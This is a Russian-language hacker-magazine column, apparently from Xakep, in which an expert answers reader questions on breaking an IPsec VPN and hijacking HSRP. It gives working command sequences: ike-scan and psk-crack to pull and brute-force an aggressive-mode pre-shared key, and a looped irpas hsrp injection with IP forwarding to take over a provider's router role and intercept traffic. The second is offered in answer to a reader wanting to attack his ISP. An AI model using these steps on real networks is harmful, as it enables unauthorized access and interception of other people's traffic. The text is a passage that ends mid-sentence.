задай вопросы по темам следующих выпусков на форуме:

http://forum.xakep.ru/forum.asp?forumID=17

спроси эксперта!

«ВСЕ ЗАВИСИТ ОТ КРИВИЗНЫ РУК АДМИНА»

НА ВОПРОСЫ ОТВЕЧАЕТ ЭКСПЕРТ ЭТОГО НОМЕРА КОНСТАНТИН ГАВРИЛЕНКО — СПЕЦИАЛИСТ С ОПЫТОМ РАБОТЫ В ИТ-БЕЗОПАСНОСТИ БОЛЕЕ 12-ТИ ЛЕТ. УВЛЕКАЕТСЯ КОМПЬЮТЕРАМИ С 12-ТИ ЛЕТ, НАЧИНАЛ С «АТАРИ 130» :). ОСНОВНЫЕ СФЕРЫ ДЕЯТЕЛЬНОСТИ КОНСТАНТИНА: БЕЗОПАСНОСТЬ СЕТЕВОЙ ИНФРАСТРУКТУРЫ И БЕСПРОВОДНЫЕ СЕТИ |**АНДРЕЙ КАРОЛИК (ANDRUSHA@REAL.XAKEP.RU)**

ВОПРОС: ЗНАКОМЫЙ АДМИН РАССКАЗАЛ, ЧТО ЗЛОБНЫЕ ХАКЕРЫ ВЗЛОМАЛИ ЕГО IPSEC ВИРТУАЛЬНУЮ ЧАСТНУЮ СЕТЬ. ВЧС НАДЕЖНА, РАЗВЕ МОЖНО ВЗЛОМАТЬ ЕЕ?

ОТВЕТ: В первую очередь все зависит от кривизны рук админа. Нормальный админ может правильно настроить и обезопасить машину на винде, в то время как админ, страдающий врожденной криворукостью, настежь откроет сервер на OpenBSD. Те же самые принципы относятся и к установке ВЧС и настройке любых других сервисов. ВЧС на основе IPSEC принято считать надежным и безопасным решением, хотя и достаточно сложным в установке. Как известно, чем изощреннее решение, тем вероятнее ошибки в нем: сложно разобраться в работе всего процесса досконально.

Попробую объяснить на пальцах, как, скорее всего, взломали твоего товарища. Существует два режима работы: AH (Authenticated Header) и ESP (Encapsulated Security Payload). При использовании AH данные не шифруются, а только добавляется заголовок аутентификации пакета. При использовании ESP пакет полностью шифруется и добавляются новые IP-заголовки. Если админ использовал IPSEC в режиме AH, то вполне возможно, что кто-то перехватил важную информацию и использовал ее для дальнейшего взлома. Назвать это взломом туннеля, конечно, сложно. Только если с очень большой натяжкой.

Существует несколько типов работы ВЧС. Используя статические ключи или используя IKE, для согласования протоколов и алгоритмов и генерации динамических ключей шифрования и аутентификации. В большинстве случаев используется IKE. Соответственно, для аутентификации клиентов могут быть использованы или пароль (PSK), или x509-сертификат. Существует также несколько режимов, используемых для установления аутентифицированного обмена ключа: Aggressive, Quick и Main. По крайней мере, одна из комбинаций режимов работы может быть фатальной при слабом значении секретного ключа, что, скорее всего, так и было.

Если используются одновременно агрессивный метод обмена и секретный ключ, существует возможность удаленного получения хэшей, пригодных для получения значения ключа методом перебора. Одной из наиболее продвинутых программ для нумерации IPSEC-туннелей является ike-scan — **www.nta-monitor.com/tools/ike-scan**. Огромное количество опций позволяет создавать практически любые произвольные пакеты IKE. Представим гипотетическую ситуацию: админ использовал секретный ключ и не убрал агрессивный режим. Сначала при помощи ike-scan проверим, что IPSEC используется на хосте.

```
arhontus # ike-scan -v 192.168.99.9
Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
192.168.99.9 Main Mode Handshake returned HDR=(CKY-R=6182785ec0174f07) SA=(Enc=DES
Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
```

Как видно по выводу утилиты, мы получили информацию об используемых типах шифрования и методах аутентификации. Теперь попытаемся вытащить данные, необходимые для взлома, подставив полученные значения.

```
arhontus # ike-scan -v -A --trans 1,2,1,2 --dhgroup=2 --idtype=1 -Paggressive_psk
192.168.99.9
Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
--- Pass 1 of 3 completed
192.168.99.9 Aggressive Mode Handshake returned HDR=(CKY-R=6182785eabc881b0)
SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
```

```
LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
VID=9445df43abc981b0c0566f19a44437ab VID=09002689dfd6b712 (XAUTH) KeyExchange(128
bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.99.9) Nonce(20 bytes) Hash(20 bytes)
```

Информация записана в файле aggressive_psk. Теперь можно приступать к взлому методом перебора.

```
dyno tmp # time psk-crack --bruteforce=5 agr
Starting psk-crack [ike-scan 1.8] (http://www.nta-monitor.com/ike-scan/)
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations
 key "xakep" matches SHA1 hash 5bca530f21cf4bf68e067e11146c752e0e81c33b
Ending psk-crack: 42669898 iterations in 286.307 seconds (149035.66 iterations/sec)
```

Секретный ключ хакер был успешно забрутфорсен за пять минут на простеньком AMD 3200+. Теперь можешь ввести ключ в любимый IPSEC-клиент и присоединятся к серверу. Админу можно посоветовать поставить пароль посложнее, отключить поддержку agressive mode или использовать x509-сертификаты.

ВОПРОС: НЕДАВНО УЗНАЛ О МНОГОАДРЕСНОЙ РАССЫЛКЕ И ПОСТАВИЛ ВНЕШНИЙ ИНТЕРФЕЙС СВОЕГО РОУТЕРА СНИФАТЬ 224.0.0.0/4. УВИДЕЛ, ЧТО КАКИЕ-ТО СТРАННЫЕ HSRP-ПАКЕТЫ ПОСТОЯННО ИДУТ НА АДРЕС 224.0.0.2. ЧТО ЗА ПАКЕТЫ, МОГУ ЛИ Я ПОХАЧИТЬ ПРОВАЙДЕРА?

ОТВЕТ: Видимо, твой провайдер использует протокол резервной маршрутизации для обеспечения высокого уровня доступности сети и бесперебойного выхода в интернет. HSRP создает группу из резервных маршрутизаторов и главного маршрутизатора, который обслуживает все пакеты, посланные на виртуальный адрес. При выходе из строя главного маршрутизатора один из запасных маршрутизаторов займет его место автоматически и унаследует виртуальный адрес маршрутизатора, обеспечивая таким образом бесперебойную работу сети. HSRP-протокол запатентован Cisco и, соответственно, поддерживается только их оборудованием. Существует альтернативный открытый протокол VRRP (rfc2338), его поддерживают и используют другие производители, он также обеспечивает лучшую аутентификацию пакетов.

Использовать HSRP в сетях, где нет доверия к пользователям, не стоит, даже при включенной аутентификации. На самом деле назвать аутентификацией текстовый пароль, передающийся в пакете HSRP, можно, опять же, только с большой натяжкой. При получении доступа в сеть, где используется HSRP, можно легко стать основным маршрутизатором и перехватить весь проходящий трафик. Вся информация, необходимая для захвата виртуального адреса, содержится в транслируемом пакете. Запускаешь tethereal и ловишь пакет...

```
arhontus / # tethereal -n -i eth0 -V host 224.0.0.2
Cisco Hot Standby Router Protocol
 Version: 0
 Op Code: Hello (0)
 State: Active (16)
 Hellotime: Default (3)
 Holdtime: Default (10)
 Priority: 110
 Group: 1
 Reserved: 0
 Authentication Data: Non-Default (xakep)
 Virtual IP Address: 192.168.99.9 (192.168.99.9)
```

Пароль, группа и виртуальный адрес видны в самом пакете. Выбор активного маршрутизатора осуществляется через приоритет каждого хоста в группе, который по умолчанию равен 100, но может быть выставлен вручную. Для того чтобы получить активную роль, нужно установить более высокий приоритет, чем у маршрутизатора, который является активным на данный момент. Высшее значение приоритета может быть 255.

Для посылки произвольного пакета воспользуйся утилитой hsrp из irpas. Но имей в виду, что пакеты оповещения посылаются каждые три секунды. Так что, если хочешь, чтобы члены HSRP-группы продолжали считать твой хост активным маршрутизатором, поставь их отсылку в цикл.

```
arhontus / # while :; do ./hsrp -d 224.0.0.2 -v 192.168.99.9 -a xakep -g 1 -i
eth0; sleep 3; done
arhontus / # ip address add 192.168.99.9/24 dev eth0
arhontus / # echo «1» /proc/sys/net/ipv4/ip_forward
```

Не забудь добавить виртуальный адрес на свой внешний интерфейс и разрешить маршрутизацию. Запускай любимый анализатор трафика и лови интересную информацию